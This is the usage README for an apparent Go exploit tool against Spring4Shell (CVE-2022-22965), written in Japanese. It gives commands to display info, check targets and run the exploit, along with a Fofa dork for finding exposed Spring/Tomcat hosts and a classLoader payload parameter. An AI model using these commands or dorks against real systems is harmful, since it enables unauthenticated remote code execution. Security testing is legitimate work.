CVE-2022-22965

Spring4Shell (CVE-2022-22965)

使い方

1. 情報表示

❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "CVE-2022-22965",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "",
  "VulDate": "2022-03-30",
  "References": [
    "https://nosec.org/home/detail/4983.html"
  ],
  "AppName": "Spring Core",
  "AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
  "AppVersion": "All",
  "VulType": "RCE",
  "Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. 検証

echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/

3. エクスプロイト

echo http://127.0.0.1:8181/ | go run main.go -m exploit -v

ファイルのアップロードパスの変更が必要かもしれません。デフォルトは "webapps/ROOT" です。

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/

免責事項

この手順はセキュリティの自己点検専用です。現地の法律を遵守してください。